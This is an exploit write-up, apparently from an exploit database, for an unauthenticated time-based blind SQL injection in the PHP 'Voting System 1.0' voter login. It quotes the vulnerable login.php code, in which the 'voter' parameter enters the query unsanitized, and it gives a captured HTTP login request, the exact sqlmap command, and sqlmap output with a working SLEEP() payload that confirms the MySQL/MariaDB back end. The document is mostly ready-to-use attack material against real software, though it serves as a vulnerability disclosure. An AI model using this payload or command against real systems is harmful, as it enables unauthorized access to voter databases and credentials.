View source for Voting System 1.0 - Time based SQLI 未經身份驗證SQL注入漏洞

==EXP==
<pre>
# Exploit Title: Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)
# Date: 02/05/2021
# Exploit Author: Syed Sheeraz Ali
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10 20H2 + XAMPP v3.2.4

If we try to login as a voter and catch the login request in burp then pass it to sql map then we can put our payload in voter parameter

Vulnerable code

```

Path :- /votersystem/login.php


<?php

    session_start();

    include 'includes/conn.php';


    if(isset($_POST['login'])){

        $voter = $_POST['voter']; <- vulnerable parameter

        $password = $_POST['password'];


        $sql = "SELECT * FROM voters WHERE voters_id = '$voter'";  <-
Passed unsanitized input

        $query = $conn->query($sql);


        if($query->num_rows < 1){

            $_SESSION['error'] = 'Cannot find voter with the ID';

        }

        else{

            $row = $query->fetch_assoc();

            if(password_verify($password, $row['password'])){

                $_SESSION['voter'] = $row['id'];

            }

            else{

                $_SESSION['error'] = 'Incorrect password';

            }

        }



    }

    else{

        $_SESSION['error'] = 'Input voter credentials first';

    }


    header('location: index.php');


?>

```
Request

```

POST /login.php HTTP/1.1
Host: 10.129.139.200
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.139.200
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://10.129.139.200/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=vuukl0gemht1iiq7lmptu7npoe
Connection: close

voter=as&password=as&login=

```
Sqlmap output

```

python3 sqlmap.py --dbms=mysql --batch --level=1 --risk=3 -r /Users/sheerazali/Documents/wpcve/voter.req -p voter

        ___

       __H__

 ___ ___[)]_____ ___ ___  {1.5.4.7#dev}

|_ -| . [(]     | .'| . |

|___|_  ["]_|_|_|__,|  _|

      |_|V...       |_|   http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program


[*] starting @ 07:50:56 /2021-05-02/


[07:50:56] [INFO] parsing HTTP request from
'/Users/sheerazali/Documents/wpcve/voter.req'

[07:50:57] [INFO] testing connection to the target URL

got a 302 redirect to 'http://10.129.139.200:80/index.php'. Do you want to follow? [Y/n] Y

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: voter (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: voter=as' AND (SELECT 2487 FROM (SELECT(SLEEP(5)))WYpt) AND 'hBVQ'='hBVQ&password=as&login=

---

[07:50:57] [INFO] testing MySQL

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[07:51:08] [INFO] confirming MySQL
[07:51:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[07:51:19] [INFO] adjusting time delay to 1 second due to good response times
[07:51:19] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.27, Apache 2.4.46

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[07:51:19] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/10.129.139.200'


[*] ending @ 07:51:19 /2021-05-02/

```
            
</pre>